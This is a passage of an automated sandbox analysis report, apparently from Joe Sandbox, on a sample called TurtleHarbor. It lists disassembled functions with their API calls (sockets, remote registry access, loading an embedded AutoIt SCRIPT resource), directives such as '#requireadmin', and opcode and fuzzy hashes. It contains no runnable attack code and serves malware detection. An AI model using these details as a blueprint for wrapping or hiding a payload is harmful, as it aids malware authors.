                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                            • String ID:
                                            • API String ID: 910771015-0
                                            • Opcode ID: d4eba93ccaaba9a11e1767a0f374d66a6360ceb8f32d66df30a674d6f06f584c
                                            • Instruction ID: ff2d1bb324064c29cbf8b17d4ef415c54742105f7ed5c95ec435e78ef740c333
                                            • Opcode Fuzzy Hash: d4eba93ccaaba9a11e1767a0f374d66a6360ceb8f32d66df30a674d6f06f584c
                                            • Instruction Fuzzy Hash: C331E771200208AFDF16AF64CC86BBD77ADEB45720F058059FD05AB291DB74AC448BA1
                                            Function 0036E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0036E3A5
                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0036E3CB
                                            • SysAllocString.OLEAUT32(00000000), ref: 0036E3CE
                                            • SysAllocString.OLEAUT32 ref: 0036E3EF
                                            • SysFreeString.OLEAUT32 ref: 0036E3F8
                                            • StringFromGUID2.OLE32(?,?,00000028), ref: 0036E412
                                            • SysAllocString.OLEAUT32(?), ref: 0036E420
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                            • String ID:
                                            • API String ID: 3761583154-0
                                            • Opcode ID: 03fc73d374b7b7f67b17931ce3ad6fe004651c66638dd5a98d8a2e24fed07ad8
                                            • Instruction ID: a63e27e5984d1f7f2a4ca39e06ec713885f12876b608d13cf80107fde1f93ae7
                                            • Opcode Fuzzy Hash: 03fc73d374b7b7f67b17931ce3ad6fe004651c66638dd5a98d8a2e24fed07ad8
                                            • Instruction Fuzzy Hash: 03218639604204AFAB169FB9DC88CAF77ECEB0D360B11C125F915CB264EA74EC458B64
                                            Function 0036FE19 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __wcsnicmp
                                            • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                            • API String ID: 1038674560-2734436370
                                            • Opcode ID: 02b08c7a163ecc43c52af2890e14b0fa40e0a0db66e87b9ff5a9c4803b95a46f
                                            • Instruction ID: b6100b97d72130d890bf8a523cbe12351284c07313f3d02579e877bcdc8f4a4f
                                            • Opcode Fuzzy Hash: 02b08c7a163ecc43c52af2890e14b0fa40e0a0db66e87b9ff5a9c4803b95a46f
                                            • Instruction Fuzzy Hash: 4A210732104521AED333AA24BC42FAB779CDF51700F51C436F4468B5ABEBA69E828295
                                            Function 00397BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00312111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0031214F
                                              • Part of subcall function 00312111: GetStockObject.GDI32(00000011), ref: 00312163
                                              • Part of subcall function 00312111: SendMessageW.USER32(00000000,00000030,00000000), ref: 0031216D
                                            • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00397C57
                                            • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00397C64
                                            • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00397C6F
                                            • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00397C7E
                                            • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00397C8A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$CreateObjectStockWindow
                                            • String ID: Msctls_Progress32
                                            • API String ID: 1025951953-3636473452
                                            • Opcode ID: 687c6ac303c3f862a869dfe80e6638a9ee535fd8ca0deab02a372b8529c0a82c
                                            • Instruction ID: 493a3e3ed952b9294f774731246d392ccee08bdc1c99c81f792f67029a742e6e
                                            • Opcode Fuzzy Hash: 687c6ac303c3f862a869dfe80e6638a9ee535fd8ca0deab02a372b8529c0a82c
                                            • Instruction Fuzzy Hash: 311182B2150219BEEF169F60CC85EE77F5DEF08798F014115FA08A60A0C7729C21DBA4
                                            Function 00379ED8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00360817,?,?,00000000,00000000), ref: 00379EE8
                                            • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00360817,?,?,00000000,00000000), ref: 00379EFF
                                            • LoadResource.KERNEL32(?,00000000,?,?,00360817,?,?,00000000,00000000,?,?,?,?,?,?,00324A14), ref: 00379F0F
                                            • SizeofResource.KERNEL32(?,00000000,?,?,00360817,?,?,00000000,00000000,?,?,?,?,?,?,00324A14), ref: 00379F20
                                            • LockResource.KERNEL32(00360817,?,?,00360817,?,?,00000000,00000000,?,?,?,?,?,?,00324A14,00000000), ref: 00379F2F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                            • String ID: SCRIPT
                                            • API String ID: 3051347437-3967369404
                                            • Opcode ID: 25cdbc853467e8bcd678ee5d8e1bfbbb862cfb06eaa1b20984a623e6784ef0bb
                                            • Instruction ID: fcdfa33ecd41d7fa2402a0334d9c457050e3c34f4ea44e39a7fb595c14a7fbef
                                            • Opcode Fuzzy Hash: 25cdbc853467e8bcd678ee5d8e1bfbbb862cfb06eaa1b20984a623e6784ef0bb
                                            • Instruction Fuzzy Hash: 42115A70200700AFE7268B25DC48F277BBDEBC6B12F10866DF509D6260DB71EC04C661
                                            Function 00339D16 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __init_pointers.LIBCMT ref: 00339D16
                                              • Part of subcall function 003333B7: EncodePointer.KERNEL32(00000000), ref: 003333BA
                                              • Part of subcall function 003333B7: __initp_misc_winsig.LIBCMT ref: 003333D5
                                              • Part of subcall function 003333B7: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0033A0D0
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0033A0E4
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0033A0F7
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0033A10A
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0033A11D
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 0033A130
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 0033A143
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0033A156
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0033A169
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0033A17C
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 0033A18F
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 0033A1A2
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0033A1B5
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0033A1C8
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0033A1DB
                                              • Part of subcall function 003333B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0033A1EE
                                            • __mtinitlocks.LIBCMT ref: 00339D1B
                                            • __mtterm.LIBCMT ref: 00339D24
                                              • Part of subcall function 00339D8C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00339D29,00337EFD,003CCD38,00000014), ref: 00339E86
                                              • Part of subcall function 00339D8C: _free.LIBCMT ref: 00339E8D
                                              • Part of subcall function 00339D8C: DeleteCriticalSection.KERNEL32(0R=,?,?,00339D29,00337EFD,003CCD38,00000014), ref: 00339EAF
                                            • __calloc_crt.LIBCMT ref: 00339D49
                                            • __initptd.LIBCMT ref: 00339D6B
                                            • GetCurrentThreadId.KERNEL32 ref: 00339D72
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
                                            • String ID:
                                            • API String ID: 3567560977-0
                                            • Opcode ID: 7f933256ff0265b0099ebc8cee72d7a2b0f6622073c109b0a9756de6ee0caf38
                                            • Instruction ID: 200d2807ff2872a9733a2da881c87a3453113057f1ebfe853207efaedb34e490
                                            • Opcode Fuzzy Hash: 7f933256ff0265b0099ebc8cee72d7a2b0f6622073c109b0a9756de6ee0caf38
                                            • Instruction Fuzzy Hash: F6F06D3250A7119AE73B7B747C8378A26D8DB42731F21475BF494DD0E2EFA088014190
                                            Function 003341B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00334282,?), ref: 003341D3
                                            • GetProcAddress.KERNEL32(00000000), ref: 003341DA
                                            • EncodePointer.KERNEL32(00000000), ref: 003341E6
                                            • DecodePointer.KERNEL32(00000001,00334282,?), ref: 00334203
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                            • String ID: RoInitialize$combase.dll
                                            • API String ID: 3489934621-340411864
                                            • Opcode ID: 4b064634ad33654e3fe6cf2c27135f0977c0bdd644ce00d919b186faad3abf74
                                            • Instruction ID: 677c170df38deb1f0a12bff1846c6022f6b25794f215dae5d9447bc2cedb5b9b
                                            • Opcode Fuzzy Hash: 4b064634ad33654e3fe6cf2c27135f0977c0bdd644ce00d919b186faad3abf74
                                            • Instruction Fuzzy Hash: B3E01A78A91701AFDF531F70EC4DB49366CA712B06F604526F401D50E0DBB550848F00
                                            Function 0033428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,003341A8), ref: 003342A8
                                            • GetProcAddress.KERNEL32(00000000), ref: 003342AF
                                            • EncodePointer.KERNEL32(00000000), ref: 003342BA
                                            • DecodePointer.KERNEL32(003341A8), ref: 003342D5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                            • String ID: RoUninitialize$combase.dll
                                            • API String ID: 3489934621-2819208100
                                            • Opcode ID: 2c0836e59e9940e7b335de967a7cea1f0c87bec0555183b7ee3780bd888e3876
                                            • Instruction ID: 5d4cb57b0877cc4cd7b320ac1c197dd6e09d68807cadaa153583a98ec46d80fd
                                            • Opcode Fuzzy Hash: 2c0836e59e9940e7b335de967a7cea1f0c87bec0555183b7ee3780bd888e3876
                                            • Instruction Fuzzy Hash: BCE0BD74692B01EFEF579F60BD4DB863BACBB02B02F50491AF001E60E0CBB55604CB10
                                            Function 0031218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetClientRect.USER32(?,?), ref: 003121B8
                                            • GetWindowRect.USER32(?,?), ref: 003121F9
                                            • ScreenToClient.USER32(?,?), ref: 00312221
                                            • GetClientRect.USER32(?,?), ref: 00312350
                                            • GetWindowRect.USER32(?,?), ref: 00312369
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Rect$Client$Window$Screen
                                            • String ID:
                                            • API String ID: 1296646539-0
                                            • Opcode ID: 6cb3fc38a99b685b76942b6c64814dba4a8c7f8c1ab768620dcea28e56c84cb8
                                            • Instruction ID: 2402014cb1d6fe7324cbdd6b2c0ffdd389d9392b6133ea3f8602a24d9e843e6a
                                            • Opcode Fuzzy Hash: 6cb3fc38a99b685b76942b6c64814dba4a8c7f8c1ab768620dcea28e56c84cb8
                                            • Instruction Fuzzy Hash: 83B1B039900249DBCF15CFA8C8807EEB7B5FF48310F159529ED99EB654DB30A9A0CB64
                                            Function 00376A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memmove$__itow__swprintf
                                            • String ID:
                                            • API String ID: 3253778849-0
                                            • Opcode ID: d7c6c313eaf90a61c7f706f7d30033c8ef0e257baeb317b4a95423308137ce43
                                            • Instruction ID: 66225dbc6b0a23345aafff12ccd2b74d4f2475946140ce0b65e48808155c8865
                                            • Opcode Fuzzy Hash: d7c6c313eaf90a61c7f706f7d30033c8ef0e257baeb317b4a95423308137ce43
                                            • Instruction Fuzzy Hash: 56619F7150069AABCF2BEF60CC92EFE37A8AF09304F058559F8595F292DB389D45CB50
                                            Function 00390844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0039147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0039040D,?,?), ref: 00391491
                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0039091D
                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0039095D
                                            • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00390980
                                            • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 003909A9
                                            • RegCloseKey.ADVAPI32(?,?,00000000), ref: 003909EC
                                            • RegCloseKey.ADVAPI32(00000000), ref: 003909F9
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
                                            • String ID:
                                            • API String ID: 4046560759-0
                                            • Opcode ID: dfd9c76b4bb1ba6d7010003b198d83931b0db890a1718257086b408da0455d1a
                                            • Instruction ID: dfdb6a05fe28958f91239e48211d0dc230ab7d5a9a129aa59a3a8c8782779907
                                            • Opcode Fuzzy Hash: dfd9c76b4bb1ba6d7010003b198d83931b0db890a1718257086b408da0455d1a
                                            • Instruction Fuzzy Hash: EA516C311082009FDB1AEF64C985E6BBBE9FF89314F04491DF5858B2A2DB31E945CB92
                                            Function 00395DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetMenu.USER32(?), ref: 00395E38
                                            • GetMenuItemCount.USER32(00000000), ref: 00395E6F
                                            • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00395E97
                                            • GetMenuItemID.USER32(?,?), ref: 00395F06
                                            • GetSubMenu.USER32(?,?), ref: 00395F14
                                            • PostMessageW.USER32(?,00000111,?,00000000), ref: 00395F65
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Menu$Item$CountMessagePostString
                                            • String ID:
                                            • API String ID: 650687236-0
                                            • Opcode ID: 7eb5df454abe8581fab0a6649e92af4320a850e11b61b8192b50dd06292d4ae0
                                            • Instruction ID: ed3b0b48f5161d952cb1bc845e138915aeda913e571fb750fb38856c078a2d8c
                                            • Opcode Fuzzy Hash: 7eb5df454abe8581fab0a6649e92af4320a850e11b61b8192b50dd06292d4ae0
                                            • Instruction Fuzzy Hash: A8519D75E01615EFCF17EF64C845AAEB7B5EF48320F114059E806BB351CB31AE818B90
                                            Function 0036F688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON
                                            Download Yara Rule
                                            APIs
                                            • VariantInit.OLEAUT32(?), ref: 0036F6A2
                                            • VariantClear.OLEAUT32(00000013), ref: 0036F714
                                            • VariantClear.OLEAUT32(00000000), ref: 0036F76F
                                            • _memmove.LIBCMT ref: 0036F799
                                            • VariantClear.OLEAUT32(?), ref: 0036F7E6
                                            • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0036F814
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Variant$Clear$ChangeInitType_memmove
                                            • String ID:
                                            • API String ID: 1101466143-0
                                            • Opcode ID: 975a2ec4084cfb05193c6733826c77a93b59bba0be0c6515996f45888fdc3c39
                                            • Instruction ID: 6c3cf396f422493fb08c99855cc1cd68cc8b552153849f87aa66af030c3ded81
                                            • Opcode Fuzzy Hash: 975a2ec4084cfb05193c6733826c77a93b59bba0be0c6515996f45888fdc3c39
                                            • Instruction Fuzzy Hash: 2F5158B5A00209EFCB15CF58D884AAAB7B8FF4D354F15856AE959DB304E730E911CFA0
                                            Function 003729B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 003729FF
                                            • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00372A4A
                                            • IsMenu.USER32(00000000), ref: 00372A6A
                                            • CreatePopupMenu.USER32 ref: 00372A9E
                                            • GetMenuItemCount.USER32(000000FF), ref: 00372AFC
                                            • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00372B2D
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                            • String ID:
                                            • API String ID: 3311875123-0
                                            • Opcode ID: 553563966fe61cb425ff648d06cfd7c19adb9b499f86e5d69c53fe06abf34089
                                            • Instruction ID: 7ebb9cd14505852a670451773d120ac97218b513e02943c0c3916089a58feacf
                                            • Opcode Fuzzy Hash: 553563966fe61cb425ff648d06cfd7c19adb9b499f86e5d69c53fe06abf34089
                                            • Instruction Fuzzy Hash: 5B51C070A00309DFCF36CF68C888BAFBBF8AF45314F108159E8199B2A1D7789944CB51
                                            Function 00311B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • BeginPaint.USER32(?,?,?,?,?,?), ref: 00311B76
                                            • GetWindowRect.USER32(?,?), ref: 00311BDA
                                            • ScreenToClient.USER32(?,?), ref: 00311BF7
                                            • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00311C08
                                            • EndPaint.USER32(?,?), ref: 00311C52
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
